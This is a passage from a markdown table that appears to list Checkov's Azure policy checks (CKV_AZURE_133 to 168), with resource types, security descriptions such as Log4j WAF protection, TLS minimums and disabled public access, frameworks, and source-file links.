[FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py)                                                                                   |\n| 5933 | CKV_AZURE_133            | resource                         | azurerm_frontdoor_firewall_policy                                                                | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                               | Terraform               | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontDoorWAFACLCVE202144228.py)                                                                       |\n| 5934 | CKV_AZURE_134            | resource                         | Microsoft.CognitiveServices/accounts                                                             | Ensure that Cognitive Services accounts disable public network access                                                                                                                                    | arm                     | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py)                                                             |\n| 5935 | CKV_AZURE_134            | resource                         | Microsoft.CognitiveServices/accounts                                                             | Ensure that Cognitive Services accounts disable public network access                                                                                                                                    | Bicep                   | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py)                                                             |\n| 5936 | CKV_AZURE_134            | resource                         | azurerm_cognitive_account                                                                        | Ensure that Cognitive Services accounts disable public network access                                                                                                                                    | Terraform               | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesDisablesPublicNetwork.py)                                                 |\n| 5937 | CKV_AZURE_135            | resource                         | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies                               | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                      | arm                     | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py)                                                                                 |\n| 5938 | CKV_AZURE_135            | resource                         | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies                               | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                      | Bicep                   | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py)                                                                                 |\n| 5939 | CKV_AZURE_135            | resource                         | azurerm_web_application_firewall_policy                                                          | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                      | Terraform               | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGatewayWAFACLCVE202144228.py)                                                                     |\n| 5940 | CKV_AZURE_136            | resource                         | azurerm_postgresql_flexible_server                                                               | Ensure that PostgreSQL Flexible server enables geo-redundant backups                                                                                                                                     | Terraform               | [PostgreSQLFlexiServerGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLFlexiServerGeoBackupEnabled.py)                                                   |\n| 5941 | CKV_AZURE_137            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure ACR admin account is disabled                                                                                                                                                                     | arm                     | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py)                                                                                           |\n| 5942 | CKV_AZURE_137            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure ACR admin account is disabled                                                                                                                                                                     | Bicep                   | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py)                                                                                           |\n| 5943 | CKV_AZURE_137            | resource                         | azurerm_container_registry                                                                       | Ensure ACR admin account is disabled                                                                                                                                                                     | Terraform               | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAdminAccountDisabled.py)                                                                               |\n| 5944 | CKV_AZURE_138            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensures that ACR disables anonymous pulling of images                                                                                                                                                    | arm                     | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py)                                                                                         |\n| 5945 | CKV_AZURE_138            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensures that ACR disables anonymous pulling of images                                                                                                                                                    | Bicep                   | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py)                                                                                         |\n| 5946 | CKV_AZURE_138            | resource                         | azurerm_container_registry                                                                       | Ensures that ACR disables anonymous pulling of images                                                                                                                                                    | Terraform               | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAnonymousPullDisabled.py)                                                                             |\n| 5947 | CKV_AZURE_139            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure ACR set to disable public networking                                                                                                                                                              | arm                     | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py)                                                                             |\n| 5948 | CKV_AZURE_139            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure ACR set to disable public networking                                                                                                                                                              | Bicep                   | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py)                                                                             |\n| 5949 | CKV_AZURE_139            | resource                         | azurerm_container_registry                                                                       | Ensure ACR set to disable public networking                                                                                                                                                              | Terraform               | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRPublicNetworkAccessDisabled.py)                                                                 |\n| 5950 | CKV_AZURE_140            | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure that Local Authentication is disabled on CosmosDB                                                                                                                                                 | arm                     | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py)                                                                                       |\n| 5951 | CKV_AZURE_140            | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure that Local Authentication is disabled on CosmosDB                                                                                                                                                 | Bicep                   | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py)                                                                                       |\n| 5952 | CKV_AZURE_140            | resource                         | azurerm_cosmosdb_account                                                                         | Ensure that Local Authentication is disabled on CosmosDB                                                                                                                                                 | Terraform               | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBLocalAuthDisabled.py)                                                                           |\n| 5953 | CKV_AZURE_141            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS local admin account is disabled                                                                                                                                                               | arm                     | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py)                                                                                               |\n| 5954 | CKV_AZURE_141            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS local admin account is disabled                                                                                                                                                               | Bicep                   | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py)                                                                                               |\n| 5955 | CKV_AZURE_141            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS local admin account is disabled                                                                                                                                                               | Terraform               | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLocalAdminDisabled.py)                                                                                   |\n| 5956 | CKV_AZURE_142            | resource                         | azurerm_machine_learning_compute_cluster                                                         | Ensure Machine Learning Compute Cluster Local Authentication is disabled                                                                                                                                 | Terraform               | [MLCCLADisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLCCLADisabled.py)                                                                                                 |\n| 5957 | CKV_AZURE_143            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS cluster nodes do not have public IP addresses                                                                                                                                                 | Terraform               | [AKSNodePublicIpDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNodePublicIpDisabled.py)                                                                               |\n| 5958 | CKV_AZURE_144            | resource                         | azurerm_machine_learning_workspace                                                               | Ensure that Public Access is disabled for Machine Learning Workspace                                                                                                                                     | Terraform               | [MLPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLPublicAccess.py)                                                                                                 |\n| 5959 | CKV_AZURE_145            | resource                         | Microsoft.Web/sites                                                                              | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | arm                     | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                                         |\n| 5960 | CKV_AZURE_145            | resource                         | Microsoft.Web/sites                                                                              | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Bicep                   | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                                         |\n| 5961 | CKV_AZURE_145            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | arm                     | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                                         |\n| 5962 | CKV_AZURE_145            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Bicep                   | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                                         |\n| 5963 | CKV_AZURE_145            | resource                         | azurerm_function_app                                                                             | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform               | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 5964 | CKV_AZURE_145            | resource                         | azurerm_function_app_slot                                                                        | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform               | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 5965 | CKV_AZURE_145            | resource                         | azurerm_linux_function_app                                                                       | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform               | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 5966 | CKV_AZURE_145            | resource                         | azurerm_linux_function_app_slot                                                                  | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform               | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 5967 | CKV_AZURE_145            | resource                         | azurerm_windows_function_app                                                                     | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform               | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 5968 | CKV_AZURE_145            | resource                         | azurerm_windows_function_app_slot                                                                | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform               | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 5969 | CKV_AZURE_146            | resource                         | azurerm_postgresql_configuration                                                                 | Ensure server parameter 'log_retention' is set to 'ON' for PostgreSQL Database Server                                                                                                                    | Terraform               | [PostgreSQLServerLogRetentionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogRetentionEnabled.py)                                                       |\n| 5970 | CKV_AZURE_147            | resource                         | azurerm_postgresql_server                                                                        | Ensure PostgreSQL is using the latest version of TLS encryption                                                                                                                                          | Terraform               | [PostgreSQLMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLMinTLSVersion.py)                                                                               |\n| 5971 | CKV_AZURE_148            | resource                         | azurerm_redis_cache                                                                              | Ensure Redis Cache is using the latest version of TLS encryption                                                                                                                                         | Terraform               | [RedisCacheMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheMinTLSVersion.py)                                                                               |\n| 5972 | CKV_AZURE_149            | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | arm                     | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                                           |\n| 5973 | CKV_AZURE_149            | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | Bicep                   | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                                           |\n| 5974 | CKV_AZURE_149            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | arm                     | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                                           |\n| 5975 | CKV_AZURE_149            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | Bicep                   | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                                           |\n| 5976 | CKV_AZURE_149            | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | Terraform               | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py)                                                               |\n| 5977 | CKV_AZURE_149            | resource                         | azurerm_linux_virtual_machine_scale_set                                                          | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | Terraform               | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py)                                                               |\n| 5978 | CKV_AZURE_150            | resource                         | azurerm_machine_learning_compute_cluster                                                         | Ensure Machine Learning Compute Cluster Minimum Nodes Set To 0                                                                                                                                           | Terraform               | [MLComputeClusterMinNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLComputeClusterMinNodes.py)                                                                             |\n| 5979 | CKV_AZURE_151            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Windows VM enables encryption                                                                                                                                                                     | arm                     | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py)                                                                                               |\n| 5980 | CKV_AZURE_151            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Windows VM enables encryption                                                                                                                                                                     | Bicep                   | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py)                                                                                               |\n| 5981 | CKV_AZURE_151            | resource                         | azurerm_windows_virtual_machine                                                                  | Ensure Windows VM enables encryption                                                                                                                                                                     | Terraform               | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMEncryptionAtHost.py)                                                                                   |\n| 5982 | CKV_AZURE_152            | resource                         | azurerm_api_management                                                                           | Ensure Client Certificates are enforced for API management                                                                                                                                               | Terraform               | [APIManagementCertsEnforced.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementCertsEnforced.py)                                                                         |\n| 5983 | CKV_AZURE_153            | resource                         | Microsoft.Web/sites                                                                              | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | arm                     | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                                           |\n| 5984 | CKV_AZURE_153            | resource                         | Microsoft.Web/sites                                                                              | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Bicep                   | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                                           |\n| 5985 | CKV_AZURE_153            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | arm                     | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                                           |\n| 5986 | CKV_AZURE_153            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Bicep                   | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                                           |\n| 5987 | CKV_AZURE_153            | resource                         | azurerm_app_service_slot                                                                         | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Terraform               | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py)                                                                               |\n| 5988 | CKV_AZURE_153            | resource                         | azurerm_linux_web_app_slot                                                                       | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Terraform               | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py)                                                                               |\n| 5989 | CKV_AZURE_153            | resource                         | azurerm_windows_web_app_slot                                                                     | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Terraform               | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py)                                                                               |\n| 5990 | CKV_AZURE_154            | resource                         | azurerm_app_service_slot                                                                         | Ensure the App service slot is using the latest version of TLS encryption                                                                                                                                | Terraform               | [AppServiceSlotMinTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotMinTLS.py)                                                                                     |\n| 5991 | CKV_AZURE_155            | resource                         | Microsoft.Web/sites                                                                              | Ensure debugging is disabled for the App service slot                                                                                                                                                    | arm                     | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                                                   |\n| 5992 | CKV_AZURE_155            | resource                         | Microsoft.Web/sites                                                                              | Ensure debugging is disabled for the App service slot                                                                                                                                                    | Bicep                   | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                                                   |\n| 5993 | CKV_AZURE_155            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure debugging is disabled for the App service slot                                                                                                                                                    | arm                     | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                                                   |\n| 5994 | CKV_AZURE_155            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure debugging is disabled for the App service slot                                                                                                                                                    | Bicep                   | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                                                   |\n| 5995 | CKV_AZURE_155            | resource                         | azurerm_app_service_slot                                                                         | Ensure debugging is disabled for the App service slot                                                                                                                                                    | Terraform               | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotDebugDisabled.py)                                                                       |\n| 5996 | CKV_AZURE_156            | resource                         | azurerm_mssql_database_extended_auditing_policy                                                  | Ensure default Auditing policy for a SQL Server is configured to capture and retain the activity logs                                                                                                    | Terraform               | [MSSQLServerAuditPolicyLogMonitor.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerAuditPolicyLogMonitor.py)                                                             |\n| 5997 | CKV_AZURE_157            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure that Synapse workspace has data_exfiltration_protection_enabled                                                                                                                                   | arm                     | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py)                                                     |\n| 5998 | CKV_AZURE_157            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure that Synapse workspace has data_exfiltration_protection_enabled                                                                                                                                   | Bicep                   | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py)                                                     |\n| 5999 | CKV_AZURE_157            | resource                         | azurerm_synapse_workspace                                                                        | Ensure that Synapse workspace has data_exfiltration_protection_enabled                                                                                                                                   | Terraform               | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesDataExfilProtection.py)                                         |\n| 6000 | CKV_AZURE_158            | resource                         | Microsoft.Databricks/workspaces                                                                  | Ensure Databricks Workspace data plane to control plane communication happens over private link                                                                                                          | arm                     | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py)                                                                             |\n| 6001 | CKV_AZURE_158            | resource                         | Microsoft.Databricks/workspaces                                                                  | Ensure Databricks Workspace data plane to control plane communication happens over private link                                                                                                          | Bicep                   | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py)                                                                             |\n| 6002 | CKV_AZURE_158            | resource                         | azurerm_databricks_workspace                                                                     | Ensure Databricks Workspace data plane to control plane communication happens over private link                                                                                                          | Terraform               | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DatabricksWorkspaceIsNotPublic.py)                                                                 |\n| 6003 | CKV_AZURE_159            | resource                         | azurerm_function_app                                                                             | Ensure function app builtin logging is enabled                                                                                                                                                           | Terraform               | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py)                                                                             |\n| 6004 | CKV_AZURE_159            | resource                         | azurerm_function_app_slot                                                                        | Ensure function app builtin logging is enabled                                                                                                                                                           | Terraform               | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py)                                                                             |\n| 6005 | CKV_AZURE_160            | resource                         | Microsoft.Network/networkSecurityGroups                                                          | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | arm                     | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                                                   |\n| 6006 | CKV_AZURE_160            | resource                         | Microsoft.Network/networkSecurityGroups                                                          | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | Bicep                   | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                                                   |\n| 6007 | CKV_AZURE_160            | resource                         | Microsoft.Network/networkSecurityGroups/securityRules                                            | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | arm                     | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                                                   |\n| 6008 | CKV_AZURE_160            | resource                         | Microsoft.Network/networkSecurityGroups/securityRules                                            | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | Bicep                   | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                                                   |\n| 6009 | CKV_AZURE_160            | resource                         | azurerm_network_security_group                                                                   | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | Terraform               | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py)                                                                       |\n| 6010 | CKV_AZURE_160            | resource                         | azurerm_network_security_rule                                                                    | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | Terraform               | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py)                                                                       |\n| 6011 | CKV_AZURE_161            | resource                         | azurerm_spring_cloud_api_portal                                                                  | Ensures Spring Cloud API Portal is enabled on for HTTPS                                                                                                                                                  | Terraform               | [SpringCloudAPIPortalHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalHTTPSOnly.py)                                                                   |\n| 6012 | CKV_AZURE_162            | resource                         | azurerm_spring_cloud_api_portal                                                                  | Ensures Spring Cloud API Portal Public Access Is Disabled                                                                                                                                                | Terraform               | [SpringCloudAPIPortalPublicAccessIsDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalPublicAccessIsDisabled.py)                                         |\n| 6013 | CKV_AZURE_163            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Enable vulnerability scanning for container images.                                                                                                                                                      | arm                     | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py)                                                                                           |\n| 6014 | CKV_AZURE_163            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Enable vulnerability scanning for container images.                                                                                                                                                      | Bicep                   | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py)                                                                                           |\n| 6015 | CKV_AZURE_163            | resource                         | azurerm_container_registry                                                                       | Enable vulnerability scanning for container images.                                                                                                                                                      | Terraform               | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRContainerScanEnabled.py)                                                                               |\n| 6016 | CKV_AZURE_164            | resource                         | azurerm_container_registry                                                                       | Ensures that ACR uses signed/trusted images                                                                                                                                                              | Terraform               | [ACRUseSignedImages.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRUseSignedImages.py)                                                                                         |\n| 6017 | CKV_AZURE_165            | resource                         | azurerm_container_registry                                                                       | Ensure geo-replicated container registries to match multi-region container deployments.                                                                                                                  | Terraform               | [ACRGeoreplicated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRGeoreplicated.py)                                                                                             |\n| 6018 | CKV_AZURE_166            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure container image quarantine, scan, and mark images verified                                                                                                                                        | arm                     | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py)                                                                                         |\n| 6019 | CKV_AZURE_166            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure container image quarantine, scan, and mark images verified                                                                                                                                        | Bicep                   | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py)                                                                                         |\n| 6020 | CKV_AZURE_166            | resource                         | azurerm_container_registry                                                                       | Ensure container image quarantine, scan, and mark images verified                                                                                                                                        | Terraform               | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableImageQuarantine.py)                                                                             |\n| 6021 | CKV_AZURE_167            | resource                         | azurerm_container_registry                                                                       | Ensure a retention policy is set to cleanup untagged manifests.                                                                                                                                          | Terraform               | [ACREnableRetentionPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableRetentionPolicy.py)                                                                             |\n| 6022 | CKV_AZURE_168            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | arm                     | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                                       |\n| 6023 | CKV_AZURE_168            | resource                         | 